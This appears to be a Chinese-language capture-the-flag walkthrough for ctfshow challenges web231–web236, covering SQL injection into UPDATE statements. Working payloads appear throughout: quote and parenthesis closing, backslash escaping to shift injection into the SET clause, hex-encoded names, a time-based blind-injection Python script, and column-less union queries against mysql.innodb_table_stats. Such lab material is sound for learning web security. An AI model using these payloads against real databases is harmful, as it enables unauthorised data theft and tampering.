ctfshow-web入门-sql注入(web231-web236)update 注入

目录

1、web231

2、web232

3、web233

4、web234

5、web235

6、web236


1、web231

拼接的是 update 语句

//分页查询
  $sql = "update ctfshow_user set pass = '{$password}' where username = '{$username}';";

password 和 username 可控,注入地方还是在 api 接口下,请求方式为 post

先是在 password 的位置闭合前面单引号,注释后面单引号,尝试查数据库名:

password=database()',username=111#&username=222

unicode 解码是更新成功的意思:

刷新 update.php 页面:

发现密码被设置成了 database(),用户名被设置成了 111,我们前面语句中的 username=222 是传给 where 后的 username 的,前面的 username=111 是给到 set 语句,由于密码里的 database() 没有回显出数据库名,那么我们尝试插到用户名的位置:

password=111',username=database()#&username=222

刷新页面,回显成功:

拿到数据库名为 ctfshow_web

接下来就可以继续查表名了:

password=111',username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web')#&username=222

注意其中 select 查询语句整体要使用括号包裹起来

拿到表名:banlist,ctfshow_user,flaga

我们查 flaga 表下的列名:

password=111',username=(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='flaga')#&username=222

拿到列名:id,flagas,info

查字段 flagas 的具体信息:

password=111',username=(select flagas from flaga)#&username=222

get flag:ctfshow{80d31d0b-efe8-4acd-9541-c73efa84d7d4}

2、web232

  //分页查询
  $sql = "update ctfshow_user set pass = md5('{$password}') where username = '{$username}';";

新增 md5 加密,我们对 md5 这个函数的括号进行闭合即可:

password=111'),username=database()#&username=222

数据库名还是 ctfshow_web,后面的密码是我们输入的 111 经过 md5 加密后的内容

查表名:

password=111'),username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web')#&username=222

banlist,ctfshow_user,flagaa

查 flagaa 表下的列名:

password=111'),username=(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='flagaa')#&username=222

id,flagass,info

查 flagass 的信息:

password=111'),username=(select flagass from flagaa)#&username=222

拿到 flag:ctfshow{5d22a4bd-0a84-48e0-a447-0564861c1552}

3、web233

查询语句和 web231 一样,说是没有过滤,但是用前面的 payload 打不通

查询失败

测试了一下发现 username 存在注入点

password=111&username=1'or sleep(3)#

但是 sleep 时间太长了

我们改小一点,sleep(0.1) 即可实现 2s 以上的延时,完全够了

写个盲注脚本试试,数据库名就不跑了,直接跑表名:

python 复制代码
payload = {'password': '1','username': f"0'or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {j}, 1) = '{k}',sleep(0.1),0)#"}

拿到表名:flag233333

跑这个表下的所有列名:

python 复制代码
payload = {'password': '1','username': f"0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag233333'), {j}, 1) = '{k}',sleep(0.1),0)#"}

有一个叫 flagass233 的东西,那就是它了。

跑具体字段信息:

python 复制代码
payload = {'password': '1', 'username': f"0'or if(substr((select group_concat(flagass233) from flag233333), {j}, 1) = '{k}',sleep(0.1),0)#"}

拿到 flag:ctfshow{358cedf9-bdbe-49c6-a609-2a2b25df682e}

附上勇师傅的完整脚本:

python 复制代码
# @author:Myon
# @time:20240823
import requests
import string

url = 'http://202073c0-c44d-4aee-adb7-20e2a7222d78.challenge.ctf.show/api/index.php'
dic = string.digits + string.ascii_lowercase + '{}-_'
out = ''

for j in range(1, 50):
    for k in dic:
        # payload = {'password': '1','username': f"0'or if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()), {j}, 1) = '{k}',sleep(0.1),0)#"}  # 猜表名
        # payload = {'password': '1','username': f"0'or if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag233333'), {j}, 1) = '{k}',sleep(0.1),0)#"}  # 猜列名
        payload = {'password': '1', 'username': f"0'or if(substr((select group_concat(flagass233) from flag233333), {j}, 1) = '{k}',sleep(0.1),0)#"}  # 跑flag
        re = requests.post(url, data=payload)
        if re.elapsed.total_seconds() > 2:
            out += k
            break
    print(out)

由于这次的注入点在第二个参数,where 后面出来的内容我们根本就看不到,没有回显,这也是为什么我们前面要采用盲注,而 update.php 的回显是根据 set 那里出来的,那么如何让注入跑到第一个参数那里去呢?

python 复制代码
password=\&username=,username=database()#

看原始的 sql 语句:

python 复制代码
set pass = '{$password}' where username = '{$username}';

拼接后:

python 复制代码
set pass = '\' where username = ',username=database()#';

第二个单引号被转义了,也就是说 pass 被设置成了 ' where username =

而 set 的 username 为 database()

刷新查看 update.php,数据库名回显成功:

在这个思路上就可以继续查表名了:

python 复制代码
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web')#

查列名:

python 复制代码
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_schema='ctfshow_web' and table_name='flag233333')#

查字段信息:

python 复制代码
password=\&username=,username=(select flagass233 from flag233333)#

4、web234

查询语句看着和前面没什么区别

但是加上单引号和不加单引号回显结果不一样,应该是过滤掉了单引号

但是上一题转义的方法可用,查表:

python 复制代码
password=\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database())#

flag23a

查列名:

注意我们的 payload 里面不能出现单引号否则会查询失败,采用十六进制绕过

python 复制代码
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x666c6167323361)#

或者你不指定表名:

只是查出的结果多些而已

python 复制代码
password=\&username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database())#

拿到字段名 flagass23s3

查字段信息:

python 复制代码
password=\&username=,username=(select flagass23s3 from flag23a)#

拿到 flag:ctfshow{cc5cf077-d799-46be-a0c1-ab8e0aa251ab}

5、web235

新增过滤 or '

python 复制代码
password=\&username=,username=database()#

查库名还是可以的

但是在查表名的时候就不行了

看了 wp 说是 or 被过滤导致 information_schema 库不能使用,但是我并不理解为什么 or 被过滤会影响到 information_schema 库的使用,有知道的师傅吗,可以解释下。

使用 mysql.innodb_table_stats 和 mysql.innodb_index_stats 代替,它们是 MySQL 内部的系统表,用于存储 InnoDB 引擎相关的统计信息,内容与 information_schema.tables 类似,也可以用来获取数据库中的库名和表名,这两个表都包含了 database_name 和 table_name 字段。

查表名:

python 复制代码
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

拿到表名:flag23a1

但是 mysql.innodb_table_stats 和 mysql.innodb_index_stats 下不包含列名信息,这里需要采用无列名注入:

python 复制代码
password=\&username=,username=(select group_concat(`2`)  from (select 1,2,3 union select * from flag23a1) as a)#

内层:(select 1,2,3 union select * from flag23a1) as a 会生成了一个临时表,由 select 1, 2, 3 创建的三列数据和 select * from flag23a1 得到的 flag23a1 表中的所有列拼接形成,别名 a 用于引用该临时表。

外层:select group_concat(`2`) from... 会将结果集中所有第二列的数据连接起来,查询返回表 flag23a1 中第二列的数据连接值。

拿到 flag:ctfshow{c55a9d76-33b4-4793-ad63-e3efd7324ba0}

如果反引号被过滤了,可以继续采用 as 起别名:

其实 as 是可以省略的,只是为了增强可读性我们一般不省略。

python 复制代码
password=\&username=,username=(select group_concat(myon) from (select 1,2 as myon,3 union select * from flag23a1) as a)#

也是可行的

6、web236

新增过滤 flag,实际测试发现并没影响,不懂。

查表:

python 复制代码
password=\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats where database_name=database())#

banlist,ctfshow_user,flaga

查 flag:

python 复制代码
password=\&username=,username=(select group_concat(myon) from (select 1,2 as myon,3 union select * from flaga)a)#

拿到 flag:ctfshow{5f27d65e-fc8b-48be-b35a-f9dc6c221ede}

相关推荐
十叶知秋3 分钟前
【jmeter】jmeter的线程组功能的详细介绍
数据库·jmeter·性能测试
数据与后端架构提升之路21 分钟前
从神经元到神经网络:深度学习的进化之旅
人工智能·神经网络·学习
一行130 分钟前
电脑蓝屏debug学习
学习·电脑
星LZX44 分钟前
WireShark入门学习笔记
笔记·学习·wireshark
阑梦清川1 小时前
在鱼皮的模拟面试里面学习有感
学习·面试·职场和发展
qq_433099401 小时前
Isaac Gym学习笔记——概述
学习
瓜牛_gn2 小时前
mysql特性
数据库·mysql
秃头佛爷3 小时前
Python学习大纲总结及注意事项
开发语言·python·学习
奶糖趣多多3 小时前
Redis知识点
数据库·redis·缓存
数新网络4 小时前
《深入浅出Apache Spark》系列②:Spark SQL原理精髓全解析
大数据·sql·spark